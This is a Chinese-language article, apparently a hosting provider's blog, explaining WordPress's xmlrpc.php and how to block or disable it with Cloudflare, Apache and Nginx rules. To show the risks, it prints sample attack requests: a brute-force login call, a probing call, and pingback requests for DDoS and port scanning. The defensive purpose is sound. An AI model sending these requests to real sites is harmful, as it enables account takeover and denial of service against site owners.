WordPress XMLRPC 權威指南(+ 如何禁用它)

xmlrpc.php 文件可以在 WordPress 核心中找到,並且通常默認啟用,這會使您的 WordPress 站點暴露在各種惡意攻擊之下。

我們推出了加速域名!

Accelerated Domains 是一項服務,可在以下四個方面極大地改進和優化您的網站:性能、可擴展性、安全性、碳足跡。

我們將了解 XMLRPC 文件是什麼,它有什麼作用,更重要的是,如何在提高網站安全性的同時管理它。

什麼是 XMLRPC?

XML-RPC(可擴展標記語言——遠程過程調用)的創建是為了提供跨平台通信。這是一種協議,它使用 HTTP 作為傳輸方式,使用 XML 作為編碼器來生成過程調用,從而允許在遠程計算機上運行函數。

客戶端(即瀏覽器或移動應用程序)可以向伺服器發送 HTTP 請求,然後伺服器發送 HTTP 響應。HTTP 請求可用於調用函數,然後這些函數可用於執行特定操作。

這與 REST API 不同,因為它使用 URL 參數來標識資源。相反,RPC 使用查詢參數來提供函數參數。

XMLRPC 允許用戶與他們的站點遠程交互,例如通過 WordPress 移動應用程序或通過 JetPack 或 WooCommerce 等插件。

與 xmlrpc.php 文件相關的安全問題

XMLRPC 會使您的站點暴露在各種攻擊之下。由於很容易追蹤,黑客可以發送任意 XML 數據,然後允許他們以多種方式控制站點。以下是您應該了解的一些安全問題。

蠻力攻擊

在暴力攻擊中,黑客實質上是通過嘗試數千種組合,嘗試使用純粹的暴力猜測正確的密碼和用戶名。

如果您的管理員密碼較弱且未使用多重身份驗證,則黑客有可能強行進入您網站的後端。

WPSCAN 是 Kali Linux 的一個流行工具,可用於輕鬆查找和列出網站的所有有效用戶名。完成後,黑客可以通過發送以下請求通過 xmlrpc.php 文件使用暴力破解:

POST /xmlrpc.php HTTP/1.1User-Agent: FiddlerHost: www.example.comContent-Length: 164<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>pass</value></param></params></methodCall>

這樣,黑客就可以發送數千種組合,直到網站發送正確的密碼。指示錯誤輸入的響應,同時也告訴黑客重試,如下所示:

HTTP/1.1 200 OKServer: nginxDate: Sun, 26 May 2019 13:30:17 GMTContent-Type: text/xml; charset=UTF-8Connection: keep-aliveX-Powered-By: PHP/7.1.21Cache-Control: private, must-revalidateExpires: Sun, 02 Jun 2019 13:30:17 GMTContent-Length: 403<?xml version="1.0" encoding="UTF-8"?><methodResponse><fault><value><struct><member><name>faultCode</name><value><int>403</int></value></member><member><name>faultString</name><value><string>Incorrect username or password.</string></value></member></struct></value></fault></methodResponse>

它返回 HTTP 200 代碼,表示用戶名和密碼不正確。如果安全性較低,黑客甚至不必擔心 reCaptchas 或有限的登錄嘗試。

DDoS 攻擊

分散式拒絕服務或 DDoS 攻擊可以通過同時發送數千個請求使伺服器完全離線。WordPress 中的 pingback 功能通常被黑客與 xmlrpc.php 文件結合使用以運行 DDoS 攻擊。

通常,黑客會找到一個他們可以多次攻擊的頁面,然後開始攻擊它。為開始攻擊,黑客首先檢查 xmlrpc.php 文件。他們通過發送這個請求來做到這一點:

POST /xmlrpc.php HTTP/1.1

Host: servebolt.comConnection: keep-aliveContent-Length: 175<?xml version="1.0" encoding="utf-8"?><methodCall><methodName>demo.sayHello</methodName><params><param><value>admin</value></param></params></methodCall>

一旦黑客確認 xmlrpc.php 文件已啟用,他們便開始使用被利用網站網路對其進行攻擊,以發送不同的 pingback 請求。

在許多情況下,這可以使用以下代碼自動執行:

POST /xmlrpc.php HTTP/1.1Host: withinsecurity.comConnection: keep-aliveContent-Length: 293<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://173.244.58.36/</string></value></param><param><value><string>https://example.com/blog/how-to-make-a-salad</string></value></param></params></methodCall>

跨站埠攻擊

跨站點埠攻擊 (XSPA) 非常普遍。黑客通常通過注入惡意代碼來接收有關 IP 地址和 TCP 埠的信息來發起這些攻擊。

黑客使用 pingback.ping 技術 pingback 網站上的帖子,返回 IP 地址。然後,他們使用嗅探器建立端點以發送實時博客文章 URL 和 pingback,使用以下請求:

<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://<YOUR SERVER >:<port></string></value></param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string></value></param></params></methodCall>

如何阻止 XMLRPC 攻擊

您可以使用多種方法來阻止 XMLRPC 攻擊——您會遇到的大多數方法都是無效的——以下是我們建議的解決方法:

加速域和 Servebolt CDN 如何處理 XMLRPC 問題

Servebolt 有兩個產品可以開箱即用地執行 XMLRPC 安全性。他們都採取這樣的方法,即到這個地方的一些流量可能是有效的,但太多或太頻繁是黑客企圖的跡象。

例如,我們的加速域實現監聽對xmlrpc.php的請求,如果一分鐘內有超過 15 個請求,它將禁止該 IP 地址一整天。這有效地阻止了黑客企圖,同時允許通過 WordPress Mobile 的網站用戶或 Jetpack/WooCommerce 的用戶繼續工作。

Servebolt CDN 的處理方式略有不同,它還有一個閾值,即從同一 IP 地址到xmlrpc.php的每分鐘 15 個請求,然後禁止該 IP 地址 1 小時。

如果您已經做出(明智的😄)決定與我們一起託管您的 WordPress 網站 – 當使用 Servebolt 的 CDN 或加速域時 – 這些安全選項之一會自動為您實施。

在 Cloudflare 上阻止 XMLRPC

可以直接在 Cloudflare 上阻止到xmlrpc.php的流量,阻止它到達您的伺服器。

如果您還阻止不是來自 Cloudflare 的流量,這只是一個真正有效的解決方案。如果您還沒有設置它,那麼黑客仍然有可能嘗試在您的源伺服器上直接訪問和利用它。當然,只需通過 Servebolt 管理界面單擊一下即可輕鬆配置。

這會有所幫助,就像使用 Servebolt 的加速域或 CDN 一樣,來自不良行為者的xmlrpc.php流量在到達伺服器之前很久就會在邊緣停止。

要阻止所有流量,請登錄 Cloudflare 管理員,選擇域,單擊安全,單擊 WAF,創建新的防火牆規則,然後輸入詳細信息,如下圖所示:

  • 規則名稱 = 隨便你怎麼稱呼它
  • 欄位 = URI 路徑
  • 運算符 = 等於
  • 值 = /xmlrpc.php

editing-firewall-rule-example

或者您可以「編輯表達式」並粘貼以下代碼:

(http.request.uri.path eq "/xmlrpc.php")

選擇「阻止」操作並保存並部署它。

記住:因為你已經設置了它,所以你必須記住它存在。將來您可能會想知道為什麼xmlrpc.php不工作並且您在伺服器配置中看不到它。

注意:如果您使用此方法,則必須確保您的伺服器配置為僅允許來自 Cloudflare 的流量。否則,可以繞過它。

在 Servebolt 中,這可以在控制面板中啟用:

allowing-traffic-that-is-proxied-through-Cloudflare-in-servebolt

替代方法:完全禁用伺服器上的 XMLRPC

在 Apache 伺服器上

更好的替代方法是完全禁用 XMLRPC 文件。這在 Apache 上是可能的,只需在 .htaccess 文件中添加一段代碼,就在 WordPress 添加的公司規則之前:

<Files xmlrpc.php>order allow,denydeny from all</Files>

您還可以將希望訪問 XMLRPC 的 IP 地址列入白名單。為此,請使用此命令:

<Files xmlrpc.php><RequireAny>Require ip 1.1.1.2Require ip 2001:db8::/32</RequireAny></Files>

這是一個明智的選擇,因為它消除了 XMLRPC 的誤用,但也有一個缺點:您將禁用對站點的遠程訪問。因此,移動應用程序(或 Jetpack,就此而言)將無法正常運行。

在 Nginx 伺服器上

在 Nginx 上禁用稍微困難一些,因為您需要具有伺服器配置訪問許可權,而不是更簡單的 Apache .htaccess。要禁用,編輯通常位於 /etc/nginx/sites-available 中的虛擬主機配置文件,並將以下指令添加到伺服器塊:

server {  # // your standard server root and configuration  location = /xmlrpc.php {    deny all;  }  # // rest of the server configuration such as PHP-FPM}

Servebolt 使用 .htaccess 方法將此解決方案部署到 xmlrpc.php。如果你使用像 Servebolt 這樣的託管主機並且正在使用 Nginx,你很可能需要他們為你實現這個。

為什麼安裝安全插件不是一個明智的主意

大多數人可能會考慮在他們的網站上安裝 WordPress 安全插件。然而,這實際上不是一個好主意,原因如下:

  • 對xmlrpc.php的請求仍然會發生,安全插件位於它和 WordPress 之間,耗盡系統資源,在發生攻擊時會更快地失敗。
  • 它們主要在應用程序級別而非伺服器級別有效。
  • 他們向您的站點添加不必要的代碼,影響其性能。
  • 他們需要持續的負載管理。
  • 安全插件擾亂了 WordPress 安全的關鍵部分,包括登錄 – 作為登錄的一部分運行的代碼中只要有一個錯誤,您的網站就會面臨更大的風險。
相關文章